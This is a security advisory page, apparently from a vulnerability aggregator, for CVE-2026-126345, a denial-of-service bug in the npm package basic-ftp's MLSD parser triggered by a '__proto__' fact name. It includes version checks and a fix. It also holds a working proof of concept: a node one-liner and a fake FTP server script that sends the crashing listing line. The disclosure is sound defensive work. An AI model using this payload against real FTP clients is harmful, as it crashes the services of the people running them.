---
id: "CVE-2026-126345"
page: "https://infrastack.ai/live/CVE-2026-126345"
kind: "vulnerability"
aliases: ["CVE-2026-126345", "GHSA-5pm8-86m8-9m6r"]
title: "basic-ftp: Uncaught TypeError in MLSD directory-listing parser via __proto__ fact name causes DoS in Client.list()"
severity: "medium"
cvss: 5.3
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "basic-ftp", "fixed": ["6.2.4"], "affected": "<= 6.2.3", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["basic-ftp", "cwe-1321", "cwe-248", "ftp", "node", "npm", "package"]
not_affected_if: ["basic-ftp-not-used", "tls-only-trusted-server"]
published_at: "2026-11-12T21:42:12+00:00"
first_seen_at: "2026-11-12T21:45:12+00:00"
updated_at: "2026-11-12T21:46:31+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-5pm8-86m8-9m6r", "first_seen_at": "2026-11-12T21:45:12+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-126345", "first_seen_at": "2026-11-12T22:40:37+00:00"}]
exploit_sources: []
---

# basic-ftp: Uncaught TypeError in MLSD directory-listing parser via __proto__ fact name causes DoS in Client.list()

Link for people: https://infrastack.ai/live/CVE-2026-126345 (this .md is for agents)

basic-ftp's MLSD parser looks up fact handlers in a plain object, so a directory line naming the fact "__proto__" throws an uncaught TypeError. A malicious or on-path FTP server can make list() and related calls reject, which crashes the Node.js process if the rejection is unhandled.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:basic-ftp affected <= 6.2.3 fixed 6.2.4

## How to check

- Run `npm ls basic-ftp` in the project to see the installed version.
- Check that the installed basic-ftp is `6.2.4` or later.
- Look for calls to `client.list()`, `downloadToDir()`, `uploadFromDir()`, `clearWorkingDir()` or `removeDir()` that are not wrapped in try/catch.

## Fix

- basic-ftp: move to `6.2.4`

## Timeline

- 2026-11-12T21:45:12+00:00 ghsa https://github.com/advisories/GHSA-5pm8-86m8-9m6r
- 2026-11-12T22:40:37+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-126345

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/patrickjuchli/basic-ftp/security-advisories/GHSA-5pm8-86m8-9m6r
- [advisory] Maintainer's advisory: github.com https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r
- [fix] Patch: github.com https://github.com/patrickjuchli/basic-ftp/commit/a22664a45d889f7d281e5bdd212c68c0a58d0ae6
- [fix] Release: github.com https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4

## From the sources

### Summary

basic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks up fact-handler functions in a plain object literal keyed directly by fact names taken from the FTP server's response, with no validation. A directory-listing line containing the fact name "__proto__" resolves this lookup to Object.prototype (inherited, non-own, non-function) instead of undefined, so the "not a function" guard is bypassed and the code throws `TypeError: factHandler is not a function`.

This TypeError is not an FTPError, so it is not caught by Client.list()'s retry logic and propagates as a rejected promise out of list() and every API built on top of it (list, downloadToDir, uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client connects to — or any on-path attacker on a plaintext (non-TLS) FTP session — can crash the calling application by returning one crafted line in a directory listing. If the application does not wrap every one of these calls in try/catch, the rejection is unhandled and crashes the Node.js process (default behavior since Node 15).

### Details

File: src/parseListMLSD.ts
```
const factHandlersByName: {[key: string]: FactHandler} = {
    "size": parseSize,
    "sizd": parseSize,
    "unique": (value, info) => { info.uniqueID = value },
    "modify": (value, info) => { ... },
    "type": (value, info) => { ... },
    "unix.mode": (value, info) => { ... },
    ...
}

export function parseLine(line: string): FileInfo | undefined {
    const [ packedFacts, name ] = splitStringOnce(line, " ")
    ...
    const facts = packedFacts.split(";")
    for (const fact of facts) {
        const [ factName, factValue ] = splitStringOnce(fact, "=")
        if (!factValue) { continue }
        const factHandler = factHandlersByName[factName.toLowerCase()]   // <-- unsafe lookup
        if (!factHandler) { continue }
        const result = factHandler(factValue, info)                     // <-- throws here
        ...
    }
    return info
}
```
factHandlersByName is a plain `{}` object literal, so it inherits from Object.prototype. Property access does not distinguish own keys from inherited ones. When factName.toLowerCase() === "__proto__", the bracket lookup factHandlersByName["__proto__"] returns Object.prototype itself — a truthy, non-undefined value — so the `if (!factHandler) continue` guard does not fire. The code then tries to call Object.prototype as a function: `factHandler(factValue, info)`, which throws `TypeError: factHandler is not a function`.

This line runs inside parseList() (src/parseList.ts), called synchronously from a `.map()` over every line of the listing, which in turn is called from Client._requestListWithCommand() -> Client.list() (src/Client.ts). list()'s only error handling is:
```
    catch (err) {
        const shouldTryNext = err instanceof FTPError
        if (!shouldTryNext) { throw err }
        lastError = err
    }
```
A plain TypeError is not an FTPError, so it is immediately rethrown instead of being retried or suppressed, and the Promise returned by list() rejects with it.

Affected call paths (all eventually call Client.list()):
- Client.list()
- Client.downloadToDir() / _downloadFromWorkingDir()
- Client.clearWorkingDir()
- Client.removeDir()

Only "__proto__" triggers the crash this way; other reserved Object.prototype property names tested ("constructor", "toString", "hasOwnProperty", "valueOf", "__defineGetter__") happen to resolve to actual functions on Object.prototype, so they are called without throwing (silently ineffective, not a crash). This confirms the root cause is the use of an unguarded object literal as a dictionary keyed by untrusted server input, rather than something specific to one property.

### Proof of concept

Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install` then `npm run buildOnly` (or `npx tsc`) to produce dist/.

Step 1 — Minimal reproduction of the parser bug alone:

    node -e '
    const { parseList } = require("./dist/parseList");
    parseList("__proto__=x;type=file;size=10; evil.txt");
    '

Expected result:
    Uncaught TypeError: factHandler is not a function
        at parseLine (.../dist/parseListMLSD.js:...)

Step 2 — End-to-end reproduction through the public Client API, proving a real FTP server can trigger this over the wire with no client modification:

    Save as poc.js in the repo root and run `node poc.js`:

    const net = require("net")
    const { Client } = require("./dist/index")

    const server = net.createServer(socket => {
        socket.write("220 fake ftp ready\r\n")
        socket.on("data", data => {
            const cmd = data.toString().trim()
            if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
            else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
                     cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
                     cmd.startsWith("PROT")) socket.write("200 ok\r\n")
            else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST type;size;\r\n211 End\r\n")
            else if (cmd.startsWith("EPSV")) {
                const dataServer = net.createServer(dsock => {
                    // The malicious line: fact name "__proto__"
                    dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
                })
                dataServer.listen(0, "127.0.0.1", () => {
                    const p = dataServer.address().port
                    socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
                })
            }
            else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
                socket.write("150 Here comes the listing\r\n")
                setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
            }
            else socket.write("200 ok\r\n")
        })
    })

    server.listen(2121, "127.0.0.1", async () => {
        const client = new Client()
        try {
            await client.access({ host: "127.0.0.1", port: 2121, user: "a", password: "b" })
            const files = await client.list()
            console.log("list() returned normally (unexpected):", files)
        } catch (err) {
            console.log("client.list() threw:", err.constructor.name, "-", err.message)
        } finally {
            client.close()
            server.close()
            process.exit(0)
        }
    })

Expected output:

    client.list() threw: TypeError - factHandler is not a function

Configuration notes:
- No TLS, auth bypass, or special server config needed — this is a plain FTP (PASV/EPSV
  text) session using the server's FEAT response to turn on MLSD, which is the common
  path for any modern FTP server.
- The same crash can be delivered via a LIST-fallback MLSD-shaped line too, since
  parseList() auto-detects the format from the last listing line.
- In a real application without a try/catch around list()/downloadToDir()/
  clearWorkingDir()/removeDir(), this rejection is unhandled and terminates the
  Node.js process by default (Node >=15 unhandledRejection behavior is "throw").

### Impact

Type: Denial of Service (CWE-248: Uncaught Exception, enabled by CWE-1321-style unguarded dictionary lookup on an object literal).

Who is impacted: Any application using basic-ftp's Client.list(), downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths), clearWorkingDir(), or removeDir() against a server that is malicious, compromised, or reachable by an on-path attacker on a non-TLS FTP session. No authentication to the target server is required beyond whatever credentials the application already uses, and no user interaction is required — a single crafted directory-listing line is sufficient.

Confidentiality: None. Integrity: None. Availability: High — unhandled rejection crashes the Node.js process by default, taking down the whole application/service, not just the FTP operation.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_